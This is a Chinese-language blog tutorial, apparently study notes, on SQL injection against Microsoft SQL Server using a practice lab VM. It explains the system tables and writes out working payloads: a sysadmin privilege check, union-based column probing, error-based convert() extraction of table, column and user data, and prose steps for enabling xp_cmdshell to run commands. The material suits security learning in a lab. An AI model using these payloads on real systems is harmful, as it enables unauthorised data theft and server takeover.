MSsql注入基础

靶场MSsql
链接:https://www.123pan.com/s/wXTmjv-9LYiH.html
提取码:9930
在这里插入图片描述
这个vmx直接用虚拟机打开,然后确保主机和虚拟机能ping通

一、默认四个系统数据库

mssql数据库是强类型数据库

master 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并在所有其他数据库信息。

model数据库是一个模板数据库。:每当创建一个新的数据库(包括系统数据库的TempDB),会创建以 Model数据库为副本数据库,并更改成数据库时所用的名

msdb 数据库是 SQL Server 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。

tempddb 数据库是由 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求。

  1. Master库
    • 表名:
      sysdatabases表(包含数据库所有信息,如数据库名称、状态)
      sysobjects表(包含数据库所有对象的信息)
      syscolumns 表
    • 字段:name(对象名)id(对象id)xtype(对象类型代码)
      其中xtype这个字段特殊性:当这个表是用户自己创建事,xtype=‘U’
  2. Model库
    表名:【sysobjects表、syscolumns表
  3. Msdb库
    表名:【sysobjects表、syscolumns表
  4. temp库
    表名:【sysobjects表、syscolumns表

每个库都有【sysobjects表、syscolumns表】这两个表

自己在MSSQL数据库中间创建一个users库,库中有User用户表
Users库

MSSOL-USERS
Sysobjects
syscolumns
user
qita

user表

User
usernamepasswordid

Users.sysobjects 表

sysobjects
nameidxtype
sysobjects1s
syscolumns2s
qita3U
user4U
**Users.syscolumns表**
Syscloumns
nameid
username3
password3
id3
name1
id1
xtype1
对应id是3的话那么说明它是属于user表的 id为1的话属于sysobjects表的

sysobjects相当于mysql中information中的tables,用来存表名
syscolumns相当于information中的columns表,用来存字段
mysql直接用关联把字段名,表名进行关联,而mssql使用id来进行关联,用id来区分你是属于哪个表

mssql数据库只要你新建了库,都会有sysobjects(name,id,xtype)和syscolumns(name,id)这两个表,字段也是永远只有那几个。

于是只要我们知道库名,直接找库里面sysobjects和syscolumns,因为这个库里面的所有表名和字段,都会存在那两个表中

实操

在这里插入图片描述
1.先判断是字符型还是数字型
在这里插入图片描述
在这里插入图片描述
两次回显结果不一样,我们看看1/1,1/0是什么样子的
在这里插入图片描述
在这里插入图片描述
很显然这里是字符型,因为输入一个一个引号时说,字符串’1’'引号不完整,两个引号报错说转换int失败,报错信息是不一样的,很显然这是一个单引号注入

我们先判断权限

判断权限,如果页面回显正常则为正确,否则报错

and 1=(select IS SRVROLEMEMBER('sysadmin'))--

获取当前数据库

接下来我们正常用联合查询跑一下

id=1' order by 5--+

看一下列是否超出了5
在这里插入图片描述
在构造,发现4也超出,但是3不超出,所以列有3列

d=1' order by 4--+
d=1' order by 3--+

在这里插入图片描述
正常的语句,但是会报错,因为mssql是强类型数据库,前面是字符型,后面是数字型,所以会报错

id=1' union select 1,2,3--+
id=1' union select '1','2','3'--+

在这里插入图片描述
在这里插入图片描述

id=1' union select '1','2',db_name()--+
db_name():返回当前数据库的名称

在这里插入图片描述

获取当前数据库内的所有数据表

and 1=convert(int,(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH('')))--

select quotename(name) from 数据库名…sysobjects where xtype=‘U’ FOR XML PATH(‘’)
quotename(name)和mysql中group_concat(
用逗号隔开,组成新的字符串),而quotename是用中括号连接起来组成新的

这里是从test数据库的sysobjects表
dbo:是它的用户名,每次都要接上,可以用user查看
xtype=‘U’:用户类型,要指明,一般我们自己建的表,存的数据,一些网站存的数据毕竟是用户创的
FOR XML PATH(‘’):以字符型输出
在这里插入图片描述
在这里插入图片描述
我们表跑出来了,好像对我们有用的表是users,我们首先跑users表,sysobjects表和syscolumns表关联字段是id
首先我们要找到sysobjects表中users的id是多少,并且把id赋给syscolumns表

and 1=(select quotename(name) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

在这里插入图片描述

获取数据

select top 1 quotename(username) from test.dbo.users for xml path('')

在这里插入图片描述
在这里插入图片描述
按顺序输出对应下拼接函数只能一个字段

报错

convert()

强类型转换

convert(int,db_name())=1

在这里插入图片描述
会直接给我们报出来,user也是一样,用1/user=1或1-user=1都可以在这里插入图片描述

命令注入

在这里插入图片描述
首先要激发xp_cmdshell的存储过程
在这里插入图片描述
启动高级选项显示
在这里插入图片描述
让上一张图个(启动高级选项显示)生效
在这里插入图片描述
启用mssql的xp cmdshell功能
在这里插入图片描述
上一张图生效

扩展写shell

在这里插入图片描述
其他
在这里插入图片描述

本人能力有限,此学习笔记仅为个人见解,如有错误,欢迎批评指正!

  • 10
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值